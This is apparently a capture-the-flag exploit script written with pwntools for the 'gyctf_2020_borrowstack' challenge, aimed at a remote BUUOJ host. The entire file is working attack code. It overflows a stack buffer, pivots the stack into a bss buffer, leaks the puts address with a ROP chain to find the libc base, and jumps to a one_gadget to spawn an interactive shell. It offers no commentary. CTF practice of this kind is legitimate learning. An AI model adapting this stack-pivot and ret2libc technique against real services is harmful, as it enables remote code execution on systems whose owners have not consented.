

```
from pwn import *

io=remote('node4.buuoj.cn',25883)
#io=process('./gyctf_2020_borrowstack')
elf = ELF('./gyctf_2020_borrowstack')
context.log_level = 'debug'

bank_addr = 0x601080
leave_ret_addr = 0x400699
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400703
main = 0x0400626
ret = 0x4004c9

io.recvuntil('want')
payload = 'a'*96 +p64(bank_addr)+ p64(leave_ret_addr)
io.send(payload)

io.recvuntil("now!")
payload = p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)

io.recvline()
puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - 0x06f690

io.recvuntil('want')
payload = 'a'*96 +'b'*8+ p64(libc_base+0x4526a)
io.send(payload)
io.send('a')

io.interactive()
```